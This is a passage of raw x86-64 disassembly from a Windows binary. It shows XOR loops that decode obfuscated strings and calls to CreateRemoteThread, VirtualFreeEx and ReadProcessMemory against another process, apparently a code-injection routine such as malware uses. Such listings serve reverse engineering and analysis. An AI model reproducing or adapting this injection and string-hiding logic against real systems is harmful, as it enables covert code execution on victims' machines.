movdqa xmm4, xmmword [0x1402842e0]
movups xmmword [rsp + 0x40], xmm5
mov dword [rsp + 0x50], edx
je 0x140268fe6
mov r9d, ebx
cmp r15d, 2
jl 0x140268f7e
movdqa xmm3, xmm9
movd ecx, xmm15
punpckldq xmm3, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm2, xmm3
pmuldq xmm2, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
pmuldq xmm1, xmm7
pmuldq xmm3, xmm7
movd eax, xmm5
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm9
psrad xmm2, 6
movdqa xmm0, xmm2
shufps xmm3, xmm1, 0xdd
psrld xmm0, 0x1f
psubd xmm3, xmm9
paddd xmm0, xmm2
psrad xmm3, 6
pmulld xmm0, xmm10
movdqa xmm2, xmm9
movdqa xmm1, xmm9
psubd xmm2, xmm0
movdqa xmm0, xmm3
andps xmm2, xmm6
psrld xmm0, 0x1f
paddd xmm0, xmm3
packuswb xmm2, xmm2
packuswb xmm2, xmm2
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movdqa xmm1, xmm14
paddb xmm2, xmm0
punpckhdq xmm1, xmm14
movd xmm0, eax
xorps xmm2, xmm0
movdqa xmm0, xmm1
movd dword [rsp + 0x40], xmm2
movdqa xmm2, xmm14
punpckldq xmm2, xmm14
movdqa xmm3, xmm2
pmuldq xmm0, xmm8
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
pmuldq xmm3, xmm8
shufps xmm2, xmm1, 0xdd
movdqa xmm1, xmm14
shufps xmm3, xmm0, 0xdd
psubd xmm2, xmm14
psrad xmm2, 6
paddd xmm3, xmm14
movdqa xmm0, xmm2
psrad xmm3, 6
psrld xmm0, 0x1f
paddd xmm0, xmm2
movdqa xmm2, xmm14
pmulld xmm0, xmm11
psubd xmm2, xmm0
movdqa xmm0, xmm3
andps xmm2, xmm6
psrld xmm0, 0x1f
packuswb xmm2, xmm2
paddd xmm0, xmm3
packuswb xmm2, xmm2
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm1, dword [rsp + 0x44]
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x44], xmm2
movdqa xmm1, xmm13
punpckhdq xmm1, xmm13
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
movdqa xmm0, xmm1
movdqa xmm3, xmm2
pmuldq xmm0, xmm8
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
pmuldq xmm3, xmm8
shufps xmm2, xmm1, 0xdd
movdqa xmm1, xmm13
shufps xmm3, xmm0, 0xdd
psubd xmm2, xmm13
psrad xmm2, 6
paddd xmm3, xmm13
movdqa xmm0, xmm2
psrad xmm3, 6
psrld xmm0, 0x1f
paddd xmm0, xmm2
movdqa xmm2, xmm13
pmulld xmm0, xmm11
psubd xmm2, xmm0
movdqa xmm0, xmm3
andps xmm2, xmm6
psrld xmm0, 0x1f
paddd xmm0, xmm3
packuswb xmm2, xmm2
packuswb xmm2, xmm2
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm1, dword [rsp + 0x48]
paddb xmm2, xmm0
xorps xmm2, xmm1
movdqa xmm1, xmm12
movd dword [rsp + 0x48], xmm2
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm3, xmm2
punpckhdq xmm1, xmm12
pmuldq xmm2, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
pmuldq xmm1, xmm7
pmuldq xmm3, xmm8
shufps xmm2, xmm1, 0xdd
movdqa xmm1, xmm12
shufps xmm3, xmm0, 0xdd
psubd xmm2, xmm12
psrad xmm2, 6
paddd xmm3, xmm12
movdqa xmm0, xmm2
psrad xmm3, 6
psrld xmm0, 0x1f
paddd xmm0, xmm2
movdqa xmm2, xmm12
pmulld xmm0, xmm11
psubd xmm2, xmm0
movdqa xmm0, xmm3
andps xmm2, xmm6
psrld xmm0, 0x1f
packuswb xmm2, xmm2
paddd xmm0, xmm3
packuswb xmm2, xmm2
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm1, dword [rsp + 0x4c]
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x4c], xmm2
movdqa xmm2, xmm4
movdqa xmm1, xmm4
punpckldq xmm2, xmm4
movdqa xmm3, xmm2
punpckhdq xmm1, xmm4
pmuldq xmm2, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
pmuldq xmm1, xmm7
pmuldq xmm3, xmm8
shufps xmm2, xmm1, 0xdd
movdqa xmm1, xmm4
shufps xmm3, xmm0, 0xdd
psubd xmm2, xmm4
psrad xmm2, 6
paddd xmm3, xmm4
movdqa xmm0, xmm2
psrad xmm3, 6
psrld xmm0, 0x1f
paddd xmm0, xmm2
movdqa xmm2, xmm4
pmulld xmm0, xmm11
psubd xmm2, xmm0
movdqa xmm0, xmm3
andps xmm2, xmm6
psrld xmm0, 0x1f
packuswb xmm2, xmm2
paddd xmm0, xmm3
packuswb xmm2, xmm2
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm1, edx
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x50], xmm2
jmp 0x140268fe6
lea r10, [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x1f7047dd
lea r10, [r10 + 1]
mul r9d
mov eax, r9d
movzx r8d, r9b
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul ecx, eax, 0x39
mov eax, 0x38138139
mul r9d
sub r8b, cl
mov eax, r9d
sub eax, edx
inc r9d
shr eax, 1
add r8b, 0x23
add eax, edx
add r8b, r8b
shr eax, 6
movsx eax, al
imul ecx, eax, 0x69
sub r8b, cl
xor byte [r10 - 1], r8b
cmp r9d, 0x14
jl 0x140268f90
mov rdx, r14
lea rcx, [rsp + 0x40]
call fcn.1402010d0
cmp byte [0x140283859], bl
movups xmm4, xmmword [0x140283848]
movzx eax, word [0x140283858]
mov word [rsp + 0x50], ax
movups xmmword [rsp + 0x40], xmm4
je 0x140269378
mov r9d, ebx
cmp r15d, 2
jl 0x14026930d
movdqa xmm3, xmm9
movd ecx, xmm15
punpckldq xmm3, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm2, xmm3
pmuldq xmm2, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
pmuldq xmm1, xmm7
pmuldq xmm3, xmm7
movd eax, xmm4
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm9
psrad xmm2, 6
movdqa xmm0, xmm2
shufps xmm3, xmm1, 0xdd
psrld xmm0, 0x1f
psubd xmm3, xmm9
paddd xmm0, xmm2
psrad xmm3, 6
pmulld xmm0, xmm10
movdqa xmm2, xmm9
movdqa xmm1, xmm9
psubd xmm2, xmm0
movdqa xmm0, xmm3
andps xmm2, xmm6
psrld xmm0, 0x1f
paddd xmm0, xmm3
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm3, xmm14
pmulld xmm0, xmm11
psubd xmm1, xmm0
punpckldq xmm3, xmm14
andps xmm1, xmm6
movd xmm0, ecx
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movdqa xmm1, xmm14
paddb xmm2, xmm0
punpckhdq xmm1, xmm14
movd xmm0, eax
xorps xmm2, xmm0
movdqa xmm0, xmm1
movd dword [rsp + 0x40], xmm2
movdqa xmm2, xmm3
pmuldq xmm2, xmm8
pmuldq xmm0, xmm8
pmuldq xmm1, xmm7
pmuldq xmm3, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm14
psrad xmm2, 6
movdqa xmm0, xmm2
shufps xmm3, xmm1, 0xdd
psrld xmm0, 0x1f
psubd xmm3, xmm14
paddd xmm0, xmm2
psrad xmm3, 6
pmulld xmm0, xmm10
movdqa xmm2, xmm14
movdqa xmm1, xmm14
psubd xmm2, xmm0
movdqa xmm0, xmm3
andps xmm2, xmm6
psrld xmm0, 0x1f
packuswb xmm2, xmm2
paddd xmm0, xmm3
packuswb xmm2, xmm2
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm1, dword [rsp + 0x44]
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x44], xmm2
movdqa xmm1, xmm13
punpckhdq xmm1, xmm13
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
movdqa xmm0, xmm1
movdqa xmm3, xmm2
pmuldq xmm0, xmm8
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
pmuldq xmm3, xmm8
shufps xmm2, xmm1, 0xdd
movdqa xmm1, xmm13
shufps xmm3, xmm0, 0xdd
psubd xmm2, xmm13
psrad xmm2, 6
paddd xmm3, xmm13
movdqa xmm0, xmm2
psrad xmm3, 6
psrld xmm0, 0x1f
paddd xmm0, xmm2
movdqa xmm2, xmm13
pmulld xmm0, xmm11
psubd xmm2, xmm0
movdqa xmm0, xmm3
andps xmm2, xmm6
psrld xmm0, 0x1f
paddd xmm0, xmm3
packuswb xmm2, xmm2
packuswb xmm2, xmm2
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm1, dword [rsp + 0x48]
paddb xmm2, xmm0
xorps xmm2, xmm1
movdqa xmm1, xmm12
movd dword [rsp + 0x48], xmm2
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm3, xmm2
punpckhdq xmm1, xmm12
pmuldq xmm2, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
pmuldq xmm1, xmm7
pmuldq xmm3, xmm8
shufps xmm2, xmm1, 0xdd
movdqa xmm1, xmm12
shufps xmm3, xmm0, 0xdd
psubd xmm2, xmm12
psrad xmm2, 6
paddd xmm3, xmm12
movdqa xmm0, xmm2
psrad xmm3, 6
psrld xmm0, 0x1f
paddd xmm0, xmm2
movdqa xmm2, xmm12
pmulld xmm0, xmm11
psubd xmm2, xmm0
movdqa xmm0, xmm3
andps xmm2, xmm6
psrld xmm0, 0x1f
packuswb xmm2, xmm2
paddd xmm0, xmm3
packuswb xmm2, xmm2
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm1, dword [rsp + 0x4c]
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x4c], xmm2
mov r9d, 0x10
mov eax, r9d
lea r10, [rsp + 0x40]
add r10, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
movzx r8d, r9b
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
mov eax, 0x9c09c09d
imul r9d
sub r8b, cl
add edx, r9d
add r8b, 0x23
sar edx, 6
add r8b, r8b
mov eax, edx
inc r9d
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
xor byte [r10 - 1], r8b
cmp r9d, 0x12
jl 0x140269320
mov rdx, rsi
lea rcx, [rsp + 0x40]
call fcn.1402010d0
movups xmm4, xmmword [0x1402837d0]
movdqa xmm0, xmm4
psrldq xmm0, 0xf
movd eax, xmm0
movups xmmword [rsp + 0x40], xmm4
test al, al
je 0x1402696f6
mov r9d, ebx
cmp r15d, 2
jl 0x140269698
movdqa xmm2, xmm9
movd ecx, xmm15
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
movdqa xmm3, xmm2
punpckhdq xmm1, xmm9
pmuldq xmm2, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
pmuldq xmm1, xmm7
pmuldq xmm3, xmm8
movd eax, xmm4
shufps xmm2, xmm1, 0xdd
movdqa xmm1, xmm9
shufps xmm3, xmm0, 0xdd
psubd xmm2, xmm9
psrad xmm2, 6
paddd xmm3, xmm9
movdqa xmm0, xmm2
psrad xmm3, 6
psrld xmm0, 0x1f
paddd xmm0, xmm2
movdqa xmm2, xmm9
pmulld xmm0, xmm11
psubd xmm2, xmm0
movdqa xmm0, xmm3
andps xmm2, xmm6
psrld xmm0, 0x1f
paddd xmm0, xmm3
packuswb xmm2, xmm2
packuswb xmm2, xmm2
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movdqa xmm1, xmm14
paddb xmm2, xmm0
punpckhdq xmm1, xmm14
movd xmm0, eax
xorps xmm2, xmm0
movdqa xmm0, xmm1
movd dword [rsp + 0x40], xmm2
movdqa xmm2, xmm14
punpckldq xmm2, xmm14
movdqa xmm3, xmm2
pmuldq xmm0, xmm8
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
pmuldq xmm3, xmm8
shufps xmm2, xmm1, 0xdd
movdqa xmm1, xmm14
shufps xmm3, xmm0, 0xdd
psubd xmm2, xmm14
psrad xmm2, 6
paddd xmm3, xmm14
movdqa xmm0, xmm2
psrad xmm3, 6
psrld xmm0, 0x1f
paddd xmm0, xmm2
movdqa xmm2, xmm14
pmulld xmm0, xmm11
psubd xmm2, xmm0
movdqa xmm0, xmm3
andps xmm2, xmm6
psrld xmm0, 0x1f
packuswb xmm2, xmm2
paddd xmm0, xmm3
packuswb xmm2, xmm2
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm1, dword [rsp + 0x44]
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x44], xmm2
movdqa xmm1, xmm13
punpckhdq xmm1, xmm13
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
movdqa xmm0, xmm1
movdqa xmm3, xmm2
pmuldq xmm0, xmm8
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
pmuldq xmm3, xmm8
shufps xmm2, xmm1, 0xdd
movdqa xmm1, xmm13
shufps xmm3, xmm0, 0xdd
psubd xmm2, xmm13
psrad xmm2, 6
paddd xmm3, xmm13
movdqa xmm0, xmm2
psrad xmm3, 6
psrld xmm0, 0x1f
paddd xmm0, xmm2
movdqa xmm2, xmm13
pmulld xmm0, xmm11
psubd xmm2, xmm0
movdqa xmm0, xmm3
andps xmm2, xmm6
psrld xmm0, 0x1f
paddd xmm0, xmm3
packuswb xmm2, xmm2
packuswb xmm2, xmm2
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm1, dword [rsp + 0x48]
paddb xmm2, xmm0
xorps xmm2, xmm1
movdqa xmm1, xmm12
movd dword [rsp + 0x48], xmm2
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm3, xmm2
punpckhdq xmm1, xmm12
pmuldq xmm2, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
pmuldq xmm1, xmm7
pmuldq xmm3, xmm8
shufps xmm2, xmm1, 0xdd
movdqa xmm1, xmm12
shufps xmm3, xmm0, 0xdd
psubd xmm2, xmm12
psrad xmm2, 6
paddd xmm3, xmm12
movdqa xmm0, xmm2
psrad xmm3, 6
psrld xmm0, 0x1f
paddd xmm0, xmm2
movdqa xmm2, xmm12
pmulld xmm0, xmm11
psubd xmm2, xmm0
movdqa xmm0, xmm3
andps xmm2, xmm6
psrld xmm0, 0x1f
packuswb xmm2, xmm2
paddd xmm0, xmm3
packuswb xmm2, xmm2
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm1, dword [rsp + 0x4c]
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x4c], xmm2
jmp 0x1402696f6
lea r10, [rsp + 0x40]
nop dword [rax]
mov eax, 0x1f7047dd
lea r10, [r10 + 1]
mul r9d
mov eax, r9d
movzx r8d, r9b
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul ecx, eax, 0x39
mov eax, 0x38138139
mul r9d
sub r8b, cl
mov eax, r9d
sub eax, edx
inc r9d
shr eax, 1
add r8b, 0x23
add eax, edx
add r8b, r8b
shr eax, 6
movsx eax, al
imul ecx, eax, 0x69
sub r8b, cl
xor byte [r10 - 1], r8b
cmp r9d, 0x10
jl 0x1402696a0
lea rcx, [rsp + 0x40]
call fcn.1402010d0
mov qword [rsp + 0x30], rbx
mov r9, rsi
mov dword [rsp + 0x28], ebx
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x1402699b3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [0x140283a58]
mov r10d, eax
mov dword [rbp - 0x78], ecx
movzx ecx, byte [0x140283a5c]
mov byte [rbp - 0x74], cl
movups xmm0, xmmword [0x140283a40]
movups xmmword [rsp + 0x70], xmm0
movsd xmm0, qword [0x140283a50]
movsd qword [rbp - 0x80], xmm0
cmp r15d, 2
jl 0x140269904
movdqa xmmword [rsp + 0x40], xmm15
lea rcx, [rsp + 0x74]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm4, ebx
lea eax, [rbx + 4]
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
punpckldq xmm2, xmm4
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
movdqa xmm3, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm3, xmm8
shufps xmm2, xmm1, 0xdd
movdqa xmm1, xmm4
shufps xmm3, xmm0, 0xdd
psubd xmm2, xmm4
paddd xmm3, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrad xmm3, 6
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
psubd xmm1, xmm0
movdqa xmm0, xmm3
psrld xmm0, 0x1f
andps xmm1, xmm6
paddd xmm0, xmm3
packuswb xmm1, xmm1
pmulld xmm0, xmm10
psubd xmm4, xmm0
packuswb xmm1, xmm1
andps xmm4, xmm6
movd xmm0, edx
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm4, eax
paddb xmm1, xmm0
pshufd xmm4, xmm4, 0
movd xmm0, dword [rcx - 4]
paddd xmm4, xmm9
xorps xmm1, xmm0
movdqa xmm2, xmm4
movd dword [rcx - 4], xmm1
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
punpckldq xmm2, xmm4
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
movdqa xmm3, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm3, xmm8
shufps xmm2, xmm1, 0xdd
movdqa xmm1, xmm4
shufps xmm3, xmm0, 0xdd
psubd xmm2, xmm4
paddd xmm3, xmm4
psrad xmm2, 6
psrad xmm3, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
psubd xmm1, xmm0
movdqa xmm0, xmm3
psrld xmm0, 0x1f
andps xmm1, xmm6
paddd xmm0, xmm3
packuswb xmm1, xmm1
pmulld xmm0, xmm10
psubd xmm4, xmm0
packuswb xmm1, xmm1
andps xmm4, xmm6
movd xmm0, edx
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
add ebx, 8
movd dword [rcx], xmm1
lea rcx, [rcx + 8]
cmp ebx, 0x18
jl 0x140269780
cmp ebx, 0x1d
jge 0x140269962
movsxd rax, ebx
lea r9, [rsp + 0x70]
add r9, rax
nop
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
movzx r8d, bl
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
mov eax, 0x9c09c09d
imul ebx
sub r8b, cl
add edx, ebx
add r8b, 0x23
sar edx, 6
add r8b, r8b
mov eax, edx
inc ebx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
xor byte [r9 - 1], r8b
cmp ebx, 0x1d
jl 0x140269910
mov edx, r10d
lea rcx, [rsp + 0x70]
call fcn.1402010d0
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x14026c30c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x140283828]
mov r9d, ebx
mov dword [rbp - 0x48], eax
movzx eax, word [0x14028382c]
mov word [rbp - 0x44], ax
movups xmm0, xmmword [0x140283800]
movups xmm1, xmmword [0x140283810]
movups xmmword [rbp - 0x70], xmm0
movsd xmm0, qword [0x140283820]
movsd qword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x60], xmm1
cmp r15d, 2
jl 0x140269b99
movdqa xmmword [rsp + 0x40], xmm15
lea rcx, [rbp - 0x6c]
mov edx, dword [rsp + 0x40]
nop
movd xmm4, r9d
lea eax, [r9 + 4]
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm3, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
punpckldq xmm3, xmm4
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
movdqa xmm2, xmm3
pmuldq xmm1, xmm7
pmuldq xmm2, xmm8
pmuldq xmm3, xmm7
shufps xmm2, xmm0, 0xdd
shufps xmm3, xmm1, 0xdd
paddd xmm2, xmm4
psubd xmm3, xmm4
psrad xmm2, 6
movdqa xmm1, xmm4
psrad xmm3, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm10
psubd xmm1, xmm0
movdqa xmm0, xmm3
psrld xmm0, 0x1f
andps xmm1, xmm6
paddd xmm0, xmm3
packuswb xmm1, xmm1
pmulld xmm0, xmm11
psubd xmm4, xmm0
packuswb xmm1, xmm1
andps xmm4, xmm6
movd xmm0, edx
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm4, eax
paddb xmm1, xmm0
pshufd xmm4, xmm4, 0
movd xmm0, dword [rcx - 4]
paddd xmm4, xmm9
xorps xmm1, xmm0
movdqa xmm2, xmm4
movd dword [rcx - 4], xmm1
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
punpckldq xmm2, xmm4
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
movdqa xmm3, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm3, xmm8
shufps xmm2, xmm1, 0xdd
movdqa xmm1, xmm4
shufps xmm3, xmm0, 0xdd
psubd xmm2, xmm4
paddd xmm3, xmm4
psrad xmm2, 6
psrad xmm3, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
psubd xmm1, xmm0
movdqa xmm0, xmm3
psrld xmm0, 0x1f
andps xmm1, xmm6
paddd xmm0, xmm3
packuswb xmm1, xmm1
pmulld xmm0, xmm10
psubd xmm4, xmm0
packuswb xmm1, xmm1
andps xmm4, xmm6
movd xmm0, edx
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
add r9d, 8
movd dword [rcx], xmm1
lea rcx, [rcx + 8]
cmp r9d, 0x28
jl 0x140269a10
cmp r9d, 0x2e
jge 0x140269c08
movsxd rax, r9d
lea r10, [rbp - 0x70]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
movzx r8d, r9b
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
mov eax, 0x9c09c09d
imul r9d
sub r8b, cl
add edx, r9d
add r8b, 0x23
sar edx, 6
add r8b, r8b
mov eax, edx
inc r9d
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
xor byte [r10 - 1], r8b
cmp r9d, 0x2e
jl 0x140269bb0
mov rdx, rsi
lea rcx, [rbp - 0x70]
call fcn.1402010d0
nop dword [rax]
nop dword [rax + rax]
lea rdx, [rbp + 0x60]
mov dword [rbp + 0x60], ebx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov r10d, dword [rbp + 0x60]
cmp r10d, 0x103
jne 0x14026c0e2
xorps xmm0, xmm0
mov qword [rsp + 0x20], rbx
mov r9d, 0x40
lea r8, [rbp + 0x20]
mov rdx, r14
mov rcx, rdi
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rbp + 0x40], xmm0
movups xmmword [rbp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rsi, qword [rbp + 0x40]
cmp rsi, 0x404040
je 0x14026bd22
cmp rsi, 0x505050
jne 0x140269ed1
mov eax, dword [0x140283788]
mov r9d, ebx
mov dword [rbp - 0x50], eax
movups xmm0, xmmword [0x140283768]
movups xmm1, xmmword [0x140283778]
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm1
cmp r15d, 2
jl 0x140269e59
movdqa xmmword [rsp + 0x40], xmm15
lea rcx, [rbp - 0x6c]
mov edx, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm4, r9d
lea eax, [r9 + 4]
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm3, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
punpckldq xmm3, xmm4
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
movdqa xmm2, xmm3
pmuldq xmm1, xmm7
pmuldq xmm2, xmm8
pmuldq xmm3, xmm7
shufps xmm2, xmm0, 0xdd
shufps xmm3, xmm1, 0xdd
paddd xmm2, xmm4
psubd xmm3, xmm4
psrad xmm2, 6
movdqa xmm1, xmm4
psrad xmm3, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm10
psubd xmm1, xmm0
movdqa xmm0, xmm3
psrld xmm0, 0x1f
andps xmm1, xmm6
paddd xmm0, xmm3
packuswb xmm1, xmm1
pmulld xmm0, xmm11
psubd xmm4, xmm0
packuswb xmm1, xmm1
andps xmm4, xmm6
movd xmm0, edx
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm4, eax
paddb xmm1, xmm0
pshufd xmm4, xmm4, 0
movd xmm0, dword [rcx - 4]
paddd xmm4, xmm9
xorps xmm1, xmm0
movdqa xmm2, xmm4
movd dword [rcx - 4], xmm1
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
punpckldq xmm2, xmm4
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
movdqa xmm3, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm3, xmm8
shufps xmm2, xmm1, 0xdd
movdqa xmm1, xmm4
shufps xmm3, xmm0, 0xdd
psubd xmm2, xmm4
paddd xmm3, xmm4
psrad xmm2, 6
psrad xmm3, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
psubd xmm1, xmm0
movdqa xmm0, xmm3
psrld xmm0, 0x1f
andps xmm1, xmm6
paddd xmm0, xmm3
packuswb xmm1, xmm1
pmulld xmm0, xmm10
psubd xmm4, xmm0
packuswb xmm1, xmm1
andps xmm4, xmm6
movd xmm0, edx
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
add r9d, 8
movd dword [rcx], xmm1
lea rcx, [rcx + 8]
cmp r9d, 0x20
jl 0x140269cd0
cmp r9d, 0x24
jge 0x140269ec8
movsxd rax, r9d
lea r10, [rbp - 0x70]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
movzx r8d, r9b
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
